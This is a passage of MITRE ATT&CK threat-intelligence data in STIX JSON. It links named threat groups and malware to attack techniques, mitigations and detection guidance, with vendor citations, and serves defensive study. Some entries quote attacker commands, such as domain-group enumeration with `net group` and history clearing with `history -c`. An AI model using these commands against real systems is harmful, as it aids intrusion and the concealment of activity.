2017)","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51cc7dff-7fb4-41bc-a67d-39598f14f1d8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/","description":"Hasherezade. (2016, September 12). Smoke Loader – downloader with a smokescreen still alive. Retrieved March 20, 2018.","source_name":"Malwarebytes SmokeLoader 2016"}],"modified":"2019-06-24T19:07:12.589Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) adds a Registry Run key for persistence and adds a script in the Startup folder to deploy the payload.(Citation: Malwarebytes SmokeLoader 2016)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51d06864-d5de-4286-b2bb-561a8d2c4d49","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Playbook Dec 2017","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","url":"https://pan-unit42.github.io/playbook_viewer/"}],"modified":"2019-09-09T17:44:35.731Z","description":"An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan will enumerate the victim's processes searching for explorer.exe if its current process does not have necessary permissions.(Citation: Unit 42 Playbook Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51d3bdc8-5fe4-470a-9ffa-5497caf4493c","type":"relationship","created":"2020-03-15T15:30:42.453Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-28T00:43:24.397Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. ","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51d90b02-90e9-4629-b462-a0890658a845","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for newly constructed files that may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--51db2539-ad77-4fa1-8f54-2bb6ccf603df","created":"2023-08-17T18:35:07.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.057Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used the command `net group \"domain admins\" /domain` to enumerate domain groups.(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51e647f5-b180-4dd8-96b1-464775bfe113","type":"relationship","created":"2021-02-17T20:27:27.431Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-02-17T20:27:27.431Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) was used to kill endpoint security processes.(Citation: IBM MegaCortex)","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--51eb8d9b-1ca4-4a9e-9df4-9415e54e8aff","created":"2023-09-27T19:49:53.825Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T19:49:53.825Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can modify the Creation, Access, and Write timestamps for malicious DLLs to match those of the genuine Windows DLL user32.dll.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51f1d23c-1ccd-4cc4-918c-39e9a66e510b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"},{"url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","source_name":"Unit 42 OopsIE! Feb 2018"}],"modified":"2020-03-18T20:18:02.230Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has deleted files associated with their payload after execution.(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 OopsIE! Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51fa2148-9dba-4479-95d7-8d940511e10e","type":"relationship","created":"2020-10-09T15:35:15.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2020-10-09T15:35:15.414Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used kill.bat script to disable security tools.(Citation: FireEye FIN6 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51fb8815-6f59-46ff-8f7a-98025623db76","type":"relationship","created":"2020-08-13T16:51:23.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Hancitor","url":"https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html","description":"Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}],"modified":"2020-09-02T19:29:12.537Z","description":"[Hancitor](https://attack.mitre.org/software/S0499) has used CallWindowProc and EnumResourceTypesA to interpret and execute shellcode.(Citation: FireEye Hancitor)","relationship_type":"uses","source_ref":"malware--ef2247bf-8062-404b-894f-d65d00564817","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--51fcdcd6-9c5a-425a-ab87-92d4faeb2ea4","created":"2022-02-28T16:22:29.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonard TAG 2023","description":"Billy Leonard. (2023, April 19). Ukraine remains Russia’s biggest cyber focus in 2023. Retrieved March 1, 2024.","url":"https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022.","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T19:17:07.734Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has compromised targets via strategic web compromise utilizing custom exploit kits.(Citation: Secureworks IRON TWILIGHT Active Measures March 2017) [APT28](https://attack.mitre.org/groups/G0007) used reflected cross-site scripting (XSS) against government websites to redirect users to phishing webpages.(Citation: Leonard TAG 2023)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5201448e-f009-4c24-abb5-9382383dc42d","created":"2019-03-25T19:31:02.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"},{"source_name":"Trend Micro Emotet Jan 2019","description":"Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.","url":"https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T21:13:36.001Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has exfiltrated data over its C2 channel.(Citation: Trend Micro Emotet Jan 2019)(Citation: Binary Defense Emotes Wi-Fi Spreader)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--52068869-8ef9-4c84-913c-0c171ba9c30f","created":"2021-10-01T01:57:31.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.707Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has cleared command history with history -c.(Citation: Trend Micro TeamTNT)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5206976b-ac4d-4286-a954-4b1ef5c20adc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"source_name":"McAfee Shamoon December 2018","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/","description":"Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."}],"modified":"2020-05-29T18:11:23.866Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) obtains the target's IP address and local network segment.(Citation: Palo Alto Shamoon Nov 2016)(Citation: McAfee Shamoon December 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5208729f-fc13-477a-984b-1035c581ad02","type":"relationship","created":"2020-12-17T02:28:43.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-09-20T16:48:28.209Z","description":"Administrators should perform an audit of all access lists and the permissions they have been granted to access web applications and services. This should be done extensively on all resources in order to establish a baseline, followed up on with periodic audits of new or updated resources. Suspicious accounts/credentials should be investigated and removed.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--520f5440-740f-4efe-850e-ea4db340aef1","created":"2017-05-31T21:33:27.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster Loaders","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T18:41:39.989Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has exfiltrated data and files over a C2 channel through its various tools and malware.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--520faa7e-f529-4b54-b4dc-55d6ae094717","type":"relationship","created":"2019-01-29T21:33:34.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2019-04-23T21:17:49.913Z","description":"[BadPatch](https://attack.mitre.org/software/S0337) collects the OS system, OS version, MAC address, and the computer name from the victim’s machine.(Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--521146dd-185d-4a8c-a3b4-b3caedbc7a14","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Charming Kitten Dec 2017","description":"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}],"modified":"2020-03-17T00:54:56.969Z","description":"[DownPaper](https://attack.mitre.org/software/S0186) searches and reads the value of the Windows Update Registry Run key.(Citation: ClearSky Charming Kitten Dec 2017)","relationship_type":"uses","source_ref":"malware--e48df773-7c95-4a4c-ba70-ea3d15900148","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--521278a2-0924-4ff8-b5a6-03f5f69426b6","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PaloAlto Patchwork Mar 2018","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"}],"modified":"2020-03-28T21:31:34.205Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) creates a scheduled task to establish by executing a malicious payload every subsequent minute.(Citation: PaloAlto Patchwork Mar 2018)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5212a108-111b-4467-84c9-933d2b84aad2","created":"2020-06-24T00:51:25.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Twitter ItsReallyNick APT41 EK","description":"Carr, N. (2019, October 30). Nick Carr Status Update APT41 Environmental Keying. Retrieved September 12, 2024.","url":"https://x.com/ItsReallyNick/status/1189622925286084609"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:31:44.813Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has encrypted payloads using the Data Protection API (DPAPI), which relies on keys tied to specific user accounts on specific machines. [APT41](https://attack.mitre.org/groups/G0096) has also environmentally keyed second stage malware with an RC5 key derived in part from the infected system's volume serial number.(Citation: Twitter ItsReallyNick APT41 EK)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--52164c11-3cc4-4303-9aa6-1f26a345b6d3","created":"2022-04-14T16:39:21.393Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Periodically baseline instances to identify malicious modifications or additions.","modified":"2022-04-14T16:39:21.393Z","relationship_type":"detects","source_ref":"x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b","target_ref":"attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5219ccae-828e-4ff7-9d69-13db836ea61c","created":"2022-04-28T16:06:29.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T18:47:25.193Z","description":"Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.\n\nAnalytic 1 - High number of failed authentication attempts or unusual logon patterns.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode IN (4625, 4648)) OR \n(index=os sourcetype=\"linux_secure\" message=\"Failed password\") OR \n(index=os sourcetype=\"macos_secure\" message=\"Failed to authenticate user\")","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--521c66b9-fe52-4c2b-bc32-8ed3d98c7a71","type":"relationship","created":"2020-06-11T19:52:07.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-11T19:52:07.318Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has used Python-based malware to install and spread their coinminer.(Citation: Anomali Rocke March 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--521ca9cf-4ed0-4e24-a18a-b14252283d23","type":"relationship","created":"2021-04-06T15:53:34.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-14T15:19:45.038Z","description":"[Doki](https://attack.mitre.org/software/S0600) has used the embedTLS library for network communications.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5221fc94-cddd-416a-b027-67bc7a68ced1","type":"relationship","created":"2020-10-01T00:48:09.642Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T00:48:09.642Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--52220a00-bd7f-4a24-a5d3-8ac40ab1ffdd","created":"2022-03-30T14:26:51.876Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly executed processes that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM), as well as service processes such as wmiprvse.exe on destination hosts.","modified":"2022-04-19T23:50:38.013Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52278e18-f8b3-4bf1-a5d3-ac819ccfd301","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","source_name":"FireEye APT37 Feb 2018"},{"source_name":"Unit 42 Nokki Oct 